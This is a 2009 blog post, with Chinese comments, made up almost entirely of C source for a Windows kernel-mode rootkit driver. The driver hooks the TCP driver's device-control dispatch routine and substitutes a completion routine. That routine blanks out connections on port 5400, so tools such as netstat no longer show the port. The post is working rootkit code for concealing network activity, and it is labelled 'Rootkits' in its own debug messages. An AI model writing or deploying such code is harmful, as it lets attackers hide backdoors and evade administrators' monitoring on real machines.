/************************************************************
驅(qū)動層隱藏端口示例:
說明:通過HookTCP驅(qū)動程序的Irp分派例程(irpStack->MajorFunction[IRP_MJ_DEVICE_CONTROL])
來隱藏應用層查詢端口信息
************************************************************/
#include <ntddk.h>
#define CO_TL_ENTITY 0x400
#define CL_TL_ENTITY 0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
#define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8))
typedef struct TDIEntityID
{
ULONG tei_entity;
ULONG tei_instance;
}TDIEntityID;
typedef struct TDIObjectID
{
TDIEntityID toi_entity;
ULONG toi_class;
ULONG toi_type;
ULONG toi_id;
}TDIObjectID;
typedef struct _CONNINFO101
{
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dest_port;
unsigned short unk2;
}CONNINFO101,*PCONNINFO101;
typedef struct _CONNINFO102
{
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
}CONNINFO102,*PCONNINFO102;
typedef struct _CONNINFO110
{
unsigned long size;
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
PVOID unk3[35];
}CONNINFO110,*PCONNINFO110;
typedef struct _REQINFO
{
PIO_COMPLETION_ROUTINE OldCompletion;
unsigned long ReqType;
}REQINFO,*PREQINFO;
PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT,IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS IoCompletionRoutine( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context )
/*
* 如果將端口的狀態(tài)信息改為0,則端口就不顯示
* 各個端口狀態(tài)信息如下:
* 1 = CLOSED
* 2 = LISTENING
* 3 = SYN_SENT
* 4 = SYN_RECEIVED
* 5 = ESTABLISHED
* 6 = FIN_WAIT_1
* 7 = FIN_WAIT_2
* 8 = CLOSE_WAIT
* 9 = CLOSING
* ......
*/
{
PVOID OutputBuffer;
ULONG NumOutputBuffers;
PIO_COMPLETION_ROUTINE p_compRoutine;
ULONG i;
OutputBuffer = Irp->UserBuffer;
//將以前的Irp中的完成函數(shù)的指針恢復
p_compRoutine = ((PREQINFO)Context)->OldCompletion;
//以下為判斷各種網(wǎng)絡請求的參數(shù)類型
if(((PREQINFO)Context)->ReqType == 0x101)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
for( i = 0;i < NumOutputBuffers;i ++ )
{
//在這里隱藏端口
if(HTONS(((PCONNINFO101)OutputBuffer)[i].src_port) == 5400 )
{
((PCONNINFO101)OutputBuffer)[i].status = 0;
}
}
}
else if(((PREQINFO)Context)->ReqType == 0x102)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
for( i = 0;i < NumOutputBuffers;i ++ )
{
if(HTONS(((PCONNINFO102)OutputBuffer)[i].src_port) == 5400 )
{
((PCONNINFO102)OutputBuffer)[i].status = 0;
}
}
}
else if(((PREQINFO)Context)->ReqType == 0x110)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
for( i = 0;i < NumOutputBuffers;i ++ )
{
if(HTONS(((PCONNINFO110)OutputBuffer)[i].src_port) == 5400 )
{
((PCONNINFO110)OutputBuffer)[i].status = 0;
}
}
}
//釋放在Hook中分配的內(nèi)存
ExFreePool(Context);
if( (Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL) )
{
//如果以前的IRP中有完成例程,就調(diào)用以前的完成例程
return (p_compRoutine)(DeviceObject,Irp,NULL);
}
else
{
//如果以前的Irp沒有完成例程,就返回本Hook的狀態(tài)
return Irp->IoStatus.Status;
}
}
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION irpStack;
ULONG ioTransferType;
TDIObjectID *inputBuffer;
ULONG context;
irpStack = IoGetCurrentIrpStackLocation(Irp);
//判斷當前IRP棧單元的IRP_MJ_*例程
switch( irpStack->MajorFunction )
{
case IRP_MJ_DEVICE_CONTROL:
//如果IRP的次功能號為0且IOCTL查詢代碼為IOCTL_TCP_QUERY_INFORMATION_EX,
//說明是應用層程序通過netstat.exe之類的程序請求查詢TCP端口號信息
if((irpStack->MinorFunction == 0) && (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
{
//得到IoControlCode中的請求類型,判斷是否為METHOD_NEITHER方式的Irp
//ioTransferType &= 3;是得到CTL_CODE中Irp的請求方式(METHOD_BUFFERED,METHOD_IN_DIRECT or METHOD_OUT_DIRECT,MOTHOD_NEITHER)
ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
ioTransferType &= 3;
if( ioTransferType == METHOD_NEITHER )
{
//MOTHOD_NEITHER方式的Irp的輸入緩沖區(qū)在Type3InputBuffer中
inputBuffer = (TDIObjectID *)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
//如果TDIObjectID的請求方式為CO_TL_ENTITY類型,說明是請求查詢TCP端口信息
if( inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY )
{
//0x101,0x102,0x110為應用層程序查詢時所帶的不同參數(shù)
if( (inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110) )
{
//改變Irp棧單元的控制位標志
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
//在Irp的棧單元中分配一個上下文,保存以前Irp的完成例程和應用層參數(shù)信息
irpStack->Context = (PIO_COMPLETION_ROUTINE)ExAllocatePool(NonPagedPool,sizeof(REQINFO));
//保存舊的完成例程
((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine;
((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id;
//安裝新的完成例程
//這步操作很重要,當鉤住當前的TCP驅(qū)動對象以后,就可以先一步得到發(fā)送驅(qū)動程序的Irp
//在鉤子函數(shù)中處理完這個Irp后要把這個Irp發(fā)給真正的TCP驅(qū)動程序
//在真正的TCP驅(qū)動程序處理完成這個Irp以后,我們的鉤子函數(shù)唯一可以再得到這個Irp的方式是
//給這個Irp設置完成例程
irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
}
}
}
}
break;
default:
break;
}
//調(diào)用以前的DeviceIoControl函數(shù)
return OldIrpMjDeviceControl(DeviceObject,Irp);
}
NTSTATUS InstallTCPDriverHook()
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpip = NULL;
RtlInitUnicodeString(&deviceTCPUnicodeString,deviceTCPNameBuffer);
//得到TCP驅(qū)動程序的設備對象和文件對象
ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,FILE_READ_DATA,&pFile_tcp,&pDev_tcp);
if( !NT_SUCCESS(ntStatus) )
{
return ntStatus;
}
//得到TCP設備對象對應的驅(qū)動程序?qū)ο?br> pDrv_tcpip = pDev_tcp->DriverObject;
//保存以前TCP驅(qū)動對象中IRP_MJ_DEVICE_CONTROL函數(shù)的指針
OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
if( OldIrpMjDeviceControl )
{
//替換TCP驅(qū)動對象的IRP_MJ_DEVICE_CONTROL函數(shù)的指針為鉤子函數(shù)的指針
InterlockedExchange((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],(LONG)HookedDeviceControl);
}
return STATUS_SUCCESS;
}
VOID Unload( IN PDRIVER_OBJECT DriverObject )
{
if( OldIrpMjDeviceControl )
{
//在這里恢復以前的函數(shù)入口地址
pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OldIrpMjDeviceControl;
}
DbgPrint("Rootkits Unload \n");
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
DbgPrint("Rootkits Load \n");
DriverObject->DriverUnload = Unload;
//安裝驅(qū)動程序的Irp分派函數(shù)鉤子
return InstallTCPDriverHook();
}
posted on 2009-01-13 10:56
ViskerWong 閱讀(2436)
評論(0) 編輯 收藏 引用